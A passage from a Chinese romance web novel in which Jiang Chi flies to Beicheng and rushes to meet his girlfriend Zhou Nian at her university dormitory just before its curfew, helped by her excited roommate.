周念倒不奢求他能考211、985,毕竟复习的时间太有限,只盼着他能有更多选择,当然如果他能考来北城那是最好的。 她问:“那你这会儿在做什么?” 当时,江池正驾车穿行在车流中,远处的夕阳宛如车河中的一盏耀眼尾灯,绚烂夺目。听到周念的问题,他不自觉地弯起嘴角。 “去吃饭的路上。” 周念看了眼时间,五点二十分。 “周念。” “嗯?” 电话里清晰传来他的吞咽声。 “你准备怎么奖励我?” 周念本能地把手机拿远,但这句话来得突然,还是被林薇薇听见了。只见她在一旁挤眉弄眼,满脸揶揄。 周念轻咳一声,快步离开阳台。 “等你成绩出来再说。” 机场在城郊,江池到机场时距离飞机起飞还剩四十分钟,所幸身上没带行李,不然办理完托运流程不一定赶得上。 起飞前,江池给周念发了一则微信。 ——门禁是几点? 没等来周念微信,飞机就起飞了。 银城到北城,整整飞了三个小时,下飞机时,江池先看时间。 21:45。 再看周念的微信。 ——晚上十一点。 ——? 江池如离弦之箭般大步流星地穿梭在机场廊道,他顺着指示牌一路向前,一出航站楼,他径直拉开路边候客出租车的车门,动作利落得惊得司机师傅手中的烟都颤了颤。不等对方开口询问。沙哑的嗓音裹挟着不容置疑的急切。 “首府大学,师傅,麻烦赶个时间!” 江池坐在后排,目光死死盯着手机导航上蜿蜒如血丝的红色路段,心头有点焦躁。他试图劝服自己‘其实明天见也不是不行’,但这样的想法毫无说服力。 他的身和心,统统想见她,捱一刻都难受。 他深吸口气强迫自己冷静,转而望向车窗外。霓虹光影在玻璃上流转,而镜面却悄然映出周念的影子。刹那间,无数个她的模样在镜中交替,安静或是委屈,微笑或是难过,每一幅画面都迅速延展成记忆里的片段,在他脑中反复涌现。 车内萦绕着舒缓的音乐,江池安静下来,耳边却隐约响起她的声音。 ——江池,你能不能等我一年? 没想到这一年漫长到需要四个春夏秋冬去填补。 车子到达首府大学时,距离周念寝室门禁还有二十分钟,江池问门卫寝室楼的具体地点,一路飞奔,到达楼下时仅剩十分钟。 他喘着大气站在楼底给周念电话,响了半分钟,无人接听,又改微信,照旧没接。他有点后悔,早知如此,该提前告知行程,可又担心计划赶不上变化,反倒空留遗憾。 所幸在最后几分钟里,有人从他身边经过,正朝着宿舍楼疾步而去。 “同学。” “嗯?” 林薇薇停下脚步,疑惑地转过身,看清江池的模样时眼睛都快瞪直了。 “麻烦你帮我叫一下302宿舍的周念。” “周念?”林薇薇目光中满是狐疑,不确信地迟疑:“你是江池?” 不知怎的,方才偷听到周念电话里这个名字时,便鬼使神差地刻进了脑海。虽然知道这个疑问很荒诞,可她还是问了。 江池:“你认识我?” 真是江池!林薇薇走近些:“周念男朋友,对吧。” 林微微快速打量他,一瞬间,她忽然懂得了为何周念对其他男人都提不起兴致。 时间太赶,他只点头:“来不及了,麻烦尽快。” “好嘞。”林薇薇抬脚一蹬,加速快冲:“包在我身上。” 宿舍开外三四米,林薇薇抑制不住的兴奋声就传到了周念耳朵里。 “小念!江池来了。” 周念刚洗完澡,头发半干,听见这话只是漫不经心地应了声。林薇薇这人素来爱开玩笑就没把这事放心上。 “他才刚考完。” 周念边说边插上吹风机电源。 林薇薇三步并作两步冲过来,一把拽下她手里的吹风机,不等周念反应,她已经扯着人往窗台边拖,指着楼下的人说:“你自己看!这是你男人吗?” 周念垂眸望去,江池蓦然仰头,两道视线在渐浓的夜色中交织,他先是愣了半秒,而后嘴角不受控地扬起。 她对着楼下用力挥手,声音里带着连自己都没察觉的颤意。 “等我!” 周念穿着睡裙狂奔下楼,一路上,脑海里总闪过他被烟雾笼罩的模糊剪影。而此刻,那片黑暗轰然碎裂,光芒中,他立在路尽头,笑意清朗,如同拨云见日。 周念走出宿舍楼,站在楼外喘息。不远处,江池正看着她,还是记忆中的模样,轻歪脑袋,眉梢微挑。 两人相隔数米,一时无言。 不知为何,周念喉头突然发紧,她有点鼻酸,连眼尾都有些发痒。 江池终于开始迈步子,耳畔回响着她那时的话。 ——我要你毫不犹豫、义无反顾地走向我。【你现在阅读的是魔蝎小说 moxiexs】